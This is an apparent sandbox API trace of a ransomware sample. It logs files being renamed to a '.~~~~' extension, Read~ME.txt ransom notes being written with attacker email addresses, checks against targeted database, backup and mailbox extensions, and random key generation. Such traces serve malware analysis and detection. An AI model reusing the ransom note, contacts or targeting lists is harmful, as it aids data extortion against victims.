	[0084.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bd90
	[0084.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.214] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.214] GetLastError () returned 0x0
	[0084.214] GetLastError () returned 0x0
	[0084.215] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.215] GetLastError () returned 0x0
	[0084.215] GetLastError () returned 0x0
	[0084.217] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff816d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.218] WriteFile (in: hFile=0x120, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x7e93, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0x7e93, lpOverlapped=0x0) returned 1
	[0084.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0084.218] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.218] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.218] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.218] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.218] CloseHandle (hObject=0x120) returned 1
	[0084.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f70a8
	[0084.218] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.~~~~")) returned 1
	[0084.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f70a8 | out: hHeap=0x300000) returned 1
	[0084.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.219] GetLastError () returned 0x0
	[0084.219] RtlWakeConditionVariable () returned 0x365f70
	[0084.219] GetCurrentThreadId () returned 0x3a4
	[0084.219] GetCurrentThreadId () returned 0x3a4
	[0084.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808480 | out: hHeap=0x300000) returned 1
	[0084.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2758 | out: hHeap=0x300000) returned 1
	[0084.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808480
	[0084.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.340] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.340] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.341] CloseHandle (hObject=0x120) returned 1
	[0084.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808480 | out: hHeap=0x300000) returned 1
	[0084.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.341] RtlWakeConditionVariable () returned 0x365f70
	[0084.341] GetCurrentThreadId () returned 0x3a4
	[0084.341] GetCurrentThreadId () returned 0x3a4
	[0084.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8870 | out: hHeap=0x300000) returned 1
	[0084.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a98b8 | out: hHeap=0x300000) returned 1
	[0084.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8870
	[0084.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.355] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.355] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.356] CloseHandle (hObject=0x120) returned 1
	[0084.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8870 | out: hHeap=0x300000) returned 1
	[0084.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.356] RtlWakeConditionVariable () returned 0x365f70
	[0084.356] GetCurrentThreadId () returned 0x3a4
	[0084.356] GetCurrentThreadId () returned 0x3a4
	[0084.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8928 | out: hHeap=0x300000) returned 1
	[0084.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9880 | out: hHeap=0x300000) returned 1
	[0084.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8928
	[0084.356] lstrlenW (lpString=".scr") returned 4
	[0084.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".scr") returned 0x0
	[0084.356] lstrlenW (lpString=".cmd") returned 4
	[0084.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".cmd") returned 0x0
	[0084.356] lstrlenW (lpString=".dll") returned 4
	[0084.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".dll") returned 0x0
	[0084.356] lstrlenW (lpString=".bat") returned 4
	[0084.356] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".bat") returned 0x0
	[0084.357] lstrlenW (lpString=".cpl") returned 4
	[0084.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".cpl") returned 0x0
	[0084.357] lstrlenW (lpString=".sys") returned 4
	[0084.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".sys") returned 0x0
	[0084.357] lstrlenW (lpString=".msc") returned 4
	[0084.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".msc") returned 0x0
	[0084.357] lstrlenW (lpString=".com") returned 4
	[0084.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".com") returned 0x0
	[0084.357] lstrlenW (lpString=".lnk") returned 4
	[0084.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".lnk") returned 0x0
	[0084.357] lstrlenW (lpString=".msp") returned 4
	[0084.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".msp") returned 0x0
	[0084.357] lstrlenW (lpString=".pif") returned 4
	[0084.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".pif") returned 0x0
	[0084.357] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.357] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0084.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.357] lstrlenW (lpString=".sqb") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".sqb") returned 0x0
	[0084.358] lstrlenW (lpString=".ost") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".ost") returned 0x0
	[0084.358] lstrlenW (lpString=".txt") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".txt") returned 0x0
	[0084.358] lstrlenW (lpString=".mdt") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".mdt") returned 0x0
	[0084.358] lstrlenW (lpString=".BDB") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".BDB") returned 0x0
	[0084.358] lstrlenW (lpString=".eql") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".eql") returned 0x0
	[0084.358] lstrlenW (lpString=".DBF") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DBF") returned 0x0
	[0084.358] lstrlenW (lpString=".EQL") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".EQL") returned 0x0
	[0084.358] lstrlenW (lpString=".FDB") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".FDB") returned 0x0
	[0084.358] lstrlenW (lpString=".EDB") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".EDB") returned 0x0
	[0084.358] lstrlenW (lpString=".DACPAC") returned 7
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DACPAC") returned 0x0
	[0084.358] lstrlenW (lpString=".VHD") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".VHD") returned 0x0
	[0084.358] lstrlenW (lpString=".DBV") returned 4
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DBV") returned 0x0
	[0084.358] lstrlenW (lpString=".dacpac") returned 7
	[0084.358] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".dacpac") returned 0x0
	[0084.358] lstrlenW (lpString=".sdf") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".sdf") returned 0x0
	[0084.359] lstrlenW (lpString=".accdb") returned 6
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".accdb") returned 0x0
	[0084.359] lstrlenW (lpString=".DBX") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DBX") returned 0x0
	[0084.359] lstrlenW (lpString=".MDT") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".MDT") returned 0x0
	[0084.359] lstrlenW (lpString=".SQB") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".SQB") returned 0x0
	[0084.359] lstrlenW (lpString=".vhd") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".vhd") returned 0x0
	[0084.359] lstrlenW (lpString=".bac") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".bac") returned 0x0
	[0084.359] lstrlenW (lpString=".mdf") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".mdf") returned 0x0
	[0084.359] lstrlenW (lpString=".BAK") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".BAK") returned 0x0
	[0084.359] lstrlenW (lpString=".BAC") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".BAC") returned 0x0
	[0084.359] lstrlenW (lpString=".dbs") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".dbs") returned 0x0
	[0084.359] lstrlenW (lpString=".vhdx") returned 5
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".vhdx") returned 0x0
	[0084.359] lstrlenW (lpString=".NDF") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".NDF") returned 0x0
	[0084.359] lstrlenW (lpString=".dat") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".dat") returned 0x0
	[0084.359] lstrlenW (lpString=".DBS") returned 4
	[0084.359] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DBS") returned 0x0
	[0084.359] lstrlenW (lpString=".CKP") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".CKP") returned 0x0
	[0084.360] lstrlenW (lpString=".edb") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".edb") returned 0x0
	[0084.360] lstrlenW (lpString=".PST") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".PST") returned 0x0
	[0084.360] lstrlenW (lpString=".dbf") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".dbf") returned 0x0
	[0084.360] lstrlenW (lpString=".SQL") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".SQL") returned 0x0
	[0084.360] lstrlenW (lpString=".pst") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".pst") returned 0x0
	[0084.360] lstrlenW (lpString=".dbv") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".dbv") returned 0x0
	[0084.360] lstrlenW (lpString=".SDF") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".SDF") returned 0x0
	[0084.360] lstrlenW (lpString=".dtxs") returned 5
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".dtxs") returned 0x0
	[0084.360] lstrlenW (lpString=".db3") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".db3") returned 0x0
	[0084.360] lstrlenW (lpString=".OST") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".OST") returned 0x0
	[0084.360] lstrlenW (lpString=".dbx") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".dbx") returned 0x0
	[0084.360] lstrlenW (lpString=".DB3") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DB3") returned 0x0
	[0084.360] lstrlenW (lpString=".DAT") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DAT") returned 0x0
	[0084.360] lstrlenW (lpString=".VHDX") returned 5
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".VHDX") returned 0x0
	[0084.360] lstrlenW (lpString=".ndf") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".ndf") returned 0x0
	[0084.360] lstrlenW (lpString=".DB") returned 3
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DB") returned 0x0
	[0084.360] lstrlenW (lpString=".sql") returned 4
	[0084.360] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".sql") returned 0x0
	[0084.361] lstrlenW (lpString=".MYD") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".MYD") returned 0x0
	[0084.361] lstrlenW (lpString=".DBT") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DBT") returned 0x0
	[0084.361] lstrlenW (lpString=".ACCDB") returned 6
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.361] lstrlenW (lpString=".fdb") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".fdb") returned 0x0
	[0084.361] lstrlenW (lpString=".bak") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".bak") returned 0x0
	[0084.361] lstrlenW (lpString=".myd") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".myd") returned 0x0
	[0084.361] lstrlenW (lpString=".DTXS") returned 5
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".DTXS") returned 0x0
	[0084.361] lstrlenW (lpString=".ckp") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".ckp") returned 0x0
	[0084.361] lstrlenW (lpString=".dbt") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".dbt") returned 0x0
	[0084.361] lstrlenW (lpString=".db") returned 3
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".db") returned 0x0
	[0084.361] lstrlenW (lpString=".TXT") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".TXT") returned 0x0
	[0084.361] lstrlenW (lpString=".MDF") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".MDF") returned 0x0
	[0084.361] lstrlenW (lpString=".bdb") returned 4
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".bdb") returned 0x0
	[0084.361] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.361] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.361] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.362] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.362] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.363] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20435264873) returned 1
	[0084.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c1e6630, dwHighDateTime=0x1d60e1e)) 
	[0084.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9880
